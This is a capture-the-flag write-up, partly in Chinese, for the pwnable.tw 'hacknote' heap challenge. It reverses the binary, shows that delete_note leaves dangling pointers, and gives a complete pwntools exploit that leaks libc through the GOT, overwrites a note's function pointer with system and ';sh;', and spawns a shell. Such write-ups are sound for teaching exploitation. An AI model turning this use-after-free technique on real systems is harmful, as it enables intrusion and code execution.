Pwnable.tw hacknote Writeup
Pwnable.tw - hacknote
Description
A good Hacker should always take good notes!
Source
https://pwnable.tw/challenge/#5
0x1 Initial Reconnaissance
經典 heap 選單題,我們來分析一下他:
file
1 2
| └─$ file hacknote hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
|
checksec
1 2 3 4 5 6 7
| └─$ checksec hacknote [*] '/home/kazma/pwnabletw/hacknote/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8046000)
|
./hacknote
1 2 3 4 5 6 7 8 9 10
| └─$ ./hacknote ---------------------- HackNote ---------------------- 1. Add note 2. Delete note 3. Print note 4. Exit ---------------------- Your choice :
|
x86 並且 stripped
0x2 Reverse Engineering
我們看一下比較特別的部分:
add_note
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| unsigned int add_note() { int v0; int i; int size; char buf[8]; unsigned int canary;
canary = __readgsdword(0x14u); if ( note_count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(&ptr + i) ) { *(&ptr + i) = malloc(8u); if ( !*(&ptr + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + i) = puts_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr + i); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(&ptr + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + i) + 1), size); puts("Success !"); ++note_count; return __readgsdword(0x14u) ^ canary; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ canary; }
|
我們搭配動態分析了解一下他是怎麼新增筆記的。
首先把斷點下在 exit
,然後新增一個大小為 32 內容為 aaaabbbb
的筆記觀察一下他的結構:
可以看到他每一個筆記都會 malloc
兩次,首先固定會 malloc(8)
並且前 4 bytes 為一個會印出後 4 bytes 內容的功能,再來後 4 bytes 放的就是實際內容的 pointer,那要印出筆記內容的時候就會去呼叫這個印出內容的函式。
嗯,好酷的設計,有點硬要 XD
delete_note
再來就是漏洞的關鍵點:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| unsigned int delete_note() { int v1; char buf[4]; unsigned int canary;
canary = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= note_count ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) { free(*((void **)*(&ptr + v1) + 1)); free(*(&ptr + v1)); puts("Success"); } return __readgsdword(0x14u) ^ canary; }
|
他釋放的時候沒有正確清空記憶體,導致資料殘留形成 dangling pointer,因此有 UAF 可以利用。
逆向分析大概看到這邊,接著計畫我們的攻擊路線。
0x3 Exploitation
- 首先我們可以先宣告兩個筆記,然後再釋放掉其中一個避免被 Top Chunk 回收。
- 再來我們故意跟他要一個 8 bytes 大小的筆記,如此就可以對剛剛刪除的筆記修改他印出時的行為,這裡我們可以填入
puts_content
後面放某個 GOT 的 pointer,再印出刪除的那個筆記內容,就可以透過減掉對應的 offset 成功 leak libc_base。
- 有了 libc_base 後我們就可以重複剛剛的行為呼叫 system(‘sh’)
- 不過因為我們必須填入 4 bytes,這裡參考網路上大致有兩種做法, ‘;sh;’ 和 ‘||sh’
- Pwned!!!
0x4 Exploit
exploit.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import warnings
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.arch = "i386"
host = "chall.pwnable.tw" port = 10102 puts_addr = 0x804862B
elf = ELF("./hacknote") l = ELF("libc_32.so.6")
def add(size, data): r.sendafter(b":", "1") r.sendafter(b":", str(size)) r.sendafter(b":", data)
def delete(index): r.sendafter(b":", "2") r.sendafter(b":", str(index))
def show(index): r.sendafter(b":", "3") r.sendafter(b":", str(index))
if len(sys.argv) > 1 and sys.argv[1] == "-r": r = remote(host, port) else: r = process("./hacknote")
add(0x20, "aaaa") add(0x20, "bbbb")
delete(0) delete(1)
add(8, p32(puts_addr) + p32(elf.got["puts"])) show(0)
l.address = u32(r.recv(4)) - l.sym.puts success("libc_base -> %s" % hex(l.address))
delete(2) add(8, p32(l.sym.system) + b";sh;")
show(0)
r.sendline("cat /home/`whoami`/flag") r.interactive()
|
result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| └─$ python exploit.py -r [*] '/home/kazma/pwnabletw/hacknote/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8046000) [*] '/home/kazma/pwnabletw/hacknote/libc_32.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to chall.pwnable.tw on port 10102: Done [+] libc_base -> 0xf758c000 [*] Switching to interactive mode FLAG{Us3_aft3r_fl3333_in_h4ck_not3} $
|
0x5 Pwned!!!